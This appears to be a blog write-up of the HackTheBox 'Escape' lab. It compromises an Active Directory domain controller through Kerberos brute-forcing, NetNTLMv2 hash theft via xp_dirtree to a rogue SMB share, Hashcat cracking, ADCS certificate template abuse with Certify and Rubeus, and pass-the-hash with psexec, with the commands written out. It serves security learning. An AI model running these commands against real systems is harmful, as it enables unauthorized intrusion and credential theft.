As a Matter of Hacked

HackTheBox: Escape

HackTheBox: Escape

Ron Twist's photo
Ron Twist
·

9 min read

Introduction

Escape is rated as a medium-difficulty Windows machine on HackTheBox. This machine is an excellent exercise in Active Directory attack vectors. The target is a Domain Controller running several common ADDC services which are either unsecured or misconfigured. I enjoyed this machine very much because it presented an escalation path we don't normally get to see in these lab environments. Without any more preamble, let's just start learning about our target!

Enumeration

Our initial scan returns a few interesting ports like:

  • MSRPC (135)

  • NetBios/SMB(139/445)

  • DNS(53)

  • LDAP(389/636/3268/3269)

  • MSSQL(1433)

  • WinRM(5985)

We also get back a handful of open ports in the 49xxx range corresponding to RPC.

SMB

We start exploring SMB with SMBMap.

  • It doesn't like it when we pass zero credentials at all. However, if we specify a username while only providing a blank space, we succeed in getting a listing of the different shares as well as the access rights we have as a "Guest" user.

We connect to the SMB share 'Public' and inside find a pdf file.

  • You may have trouble retrieving the file at first due to the spaces in the filename.

  • Try using mget * if you run into this issue and you can create your own matching rule in the future.

Once we open the PDF we see some instructions for connecting to an SQL Database.

  • We also see mention of a few potential users:

    • Tom

    • Ryan

    • brandon.brown@sequel.htb

  • Happily, we also find a username:password combo intended for new hires.

    • PublicUser:GuestUserCantWrite1

Kerberos

Now that we have what looks like a valid domain name, we want to chase down that brandon.brown username.

  • Kerberos is running so we can test for valid usernames (brandon.brown, ryan, tom), but only brandon.brown appears complete.

We can see if the password is easily bruteforcable with Kerbrute as well.

  • kerbrute bruteuser --dc $IP -d sequel.htb -t 75 $WORDS/rockyou.txt brandon.brown

While that's running we can also check to see if the user has Kerberos PreAuth disabled. If it is, we can request a pre-authed TGT that's encrypted with the user's password hash. If we can get that, we can potentially crack the password offline.

  • We try the following command but it only comes back to inform us that PreAuth is enabled.

  • GetNPUsers.py sequel.htb/brandon.brown -dc-ip $IP -no-pass

At this point, it feels like we may have hit a dead end with brandon.brown. However, I am feeling confident that we've tested and checked off some of the low-hanging fruit that can occur with user accounts managed/misconfigured by Kerberos. At least as far as it goes for brandon.brown.

MSSQL

Using the "New Hire" credentials, we're able to access the MSSQL database as PublicUser. However we don't find much there aside from some empty sample databases.

We can list the available databases with:

  • SELECT name FROM master.dbo.sysdatabases;

We're not allowed to access the database model as the principal "PublicUser"

  • This feels like it might be something juicy later on if we can find other creds.

  • tempdb didn't have any tables.

  • master database mostly has information about the database's operating performance and related statistics.

  • So that only leaves msdb...but there doesn't seem to be much for us to READ there either.


# Get Databases
SELECT name FROM master.dbo.sysdatabases;

# Get tables from each database
SELECT * FROM master.INFORMATION_SCHEMA.TABLES;
SELECT * FROM msdb.INFORMATION_SCHEMA.TABLES;
SELECT * FROM model.INFORMATION_SCHEMA.TABLES;
SELECT * FROM tempdb.INFORMATION_SCHEMA.TABLES;

Initial Foothold

At this point, I took a break and came back with a different attack plan. Rather than just reading the database, what else can a low-level user possessing READ access to an MSSQL server do? Turns out you can use that MSSQL server to try reading something remotely too!

The idea is we set up a rogue SMB server, connect to it with the MSSQL server's xp_dirtree command. In the process of this transaction, the MSSQL server will provide a NetNTLMv2 hash as an authentication token for this remote share.

  • First, we set up the SMB server. I'm going to use the impacket-smbserver.py script, simply because it's quick, lightweight and accomplishes our task.

  • Next, within the mssqlclient.py session we're going to run the MSSQL stored procedure xp_dirtree while providing our rogue share as the target.

    • xp_dirtree \\10.10.14.5\kali

Now that we've got the NetNTLMv2 hash for sql_svc, we can take it offline and try cracking it with Hashcat.

  • Also if you're ever unsure what type of hash you might have or which 'mode' to run Hashcat in, try using the tool hashid with the -m flag.

  • There's also a -j flag if you prefer JohnTheRipper for hash cracking.

Getting back to the captured hash.. We throw it to Hashcat while using a dictionary attack with the rockyou.txt password list and we get a hit after about six seconds. We now have a password for 'sql_svc'.

Lateral Movement

With the password for sql_svc in hand, we find that we're able to login through WinRM since this user is part of the "Remote Management Users" group.

  • Once we get on the box we can see another user, 'ryan.cooper', in the C:\users\ directory. Now that we have valid creds for a domain user, we can run tools like Bloodhound where we're able to directly query the Domain Controller for any escalation paths from our current principal. Unfortunately there's no easy wins here going from "sql_svc"

Next, we upload Winpeas for some automated enumeration while we look around manually. It's while looking around manually that we find an errorlog.bak file for the MSSQL service.

  • When we inspect the file contents we see what looks to be failed login from ryan.cooper. During the process of this login, it appears they entered their password by mistake and it got picked up in plaintext by the log file (lucky us).

While looking through the data in Bloodhound earlier we had come across some information about ryan.cooper. When we return to the node now, we can see that ryan is also a part of the "Remote Management Users".

This means we should be able to get on the box through the WinRM service as ryan.cooper as well.

  • We're able to grab a shell using Evil-WinRM and now we're on the box as ryan.cooper

Privilege Escalation

At this point, I did a bit of flailing around. Meaning I ran some auto-enumeration tools like Winpeas and WES-NG, I manually walked around the file system looking for anything owned by or running by ryan.cooper. But nothing really stood out, either locally or in a domain context by performing additional Bloodhound queries.

Eventually, we take another break. Sometimes it can feel like we're standing too close to a problem to find a solution, so I decided to step back and look for any other potential leads to pull on.

It's while reviewing the original Nmap scan we did at the start of the machine that we finally catch a break.

  • Within the certificate section for LDAP we notice that the subject of the cert is dc.sequel.htb. This is the hostname we entered into our /etc/hosts file and how we've been reaching the target thus far.

  • However we finally notice the Issuer: line which states the cert was issued by sequel-DC-CA. This means the SSL cert may have actually been issued by a Certificate Authority (CA) running on this box!

After doing some more reading around the exploitation of Active Directory Certificate Services (ADCS) we come across an incredibly detailed blog post and an accompanying 142-page whitepaper from SpectreOps called, Certified Pre-Owned.

The blog post and whitepaper detail several different escalation scenarios which they've labeled as ESC1, ESC2, ESC3... Honestly, when I saw this section of the blog post the name of this machine suddenly started taking on a different meaning (I thought we were looking for something to escape or break-out of).

The high-level idea of this escalation vector is that ADCS may have been misconfigured in such a way that it may allow a low-level user to request a vulnerable certificate template which allows them to specify an arbitrary subject and the template specifies an ExtendedKeyUsage (EKU) of Client Authentication. There are a few other settings that can be enabled to prevent this abuse (Requiring Manager Approval, Authorized Signatures, etc..), but we can search for vulnerable templates with a tool released by SpectreOps called Certify

  • So we transfer certify.exe to test for vulnerable certificate templates.

  • We can identify vulnerable templates with the following command. This one will allow us to supply a Subject Alternative Name (SAN).

    • ./certify.exe find /vulnerable /currentuser

Next, we request a certificate while supplying a new subject(ryan.cooper, the current user-context) to be associated with the SAN of 'Administrator'.

  • At the end of the request output it even includes instructions for converting the outputted cert.pem into an encrypted cert.pfx file. Very helpful SpectreOps team!

Now, we'll use Rubeus once again to request a TGT for the current user while supplying the newly forged certificate.

  • Make sure to include the /getcredentials flag when running Rubeus this time. Invoking this flag will cause Rubeus to dump the NTLM hash of the target user (adminstrator).

  • ./rubeus.exe asktgt /user:administrator /certificate:C:\users\ryan.cooper\music\cert.pfx /password:asdf /getcredentials

We can then use this NTLM hash with Evil-WinRM or PsExec to pass-the-hash and gain a shell as the Administrator account.

  • NOTE: If using PSExec to pass-the-hash, the tool requires the hash to be given in LM:NT form. The LM hash really doesn't matter to the tool at this point, but it still likes to see something resembling :NTHASH. In truth it doesn't even need a string for the LMHash portion, it just wants to see the colon preceding a valid NT hash. Failure to do so will usually result in some nice error messages from PSExec.

  • `psexec.py sequel.htb/administrator@dc.sequel.htb -hashes LMHash:NTHash

That's it! We've made it on as SYSTEM and can now loot the system for any remaining flags. This machine provided a new domain escalation path for us that we had only heard of tangentally before. The SpectreOps blog post and accompanying whitepaper(still reading it..) were invaluable in not only completing this box but also giving us a couple of new pages in our Active Directory runbook. Looking forward to (ethically) using this on an enterprise network near you!

hackingActive Directory#HackTheBox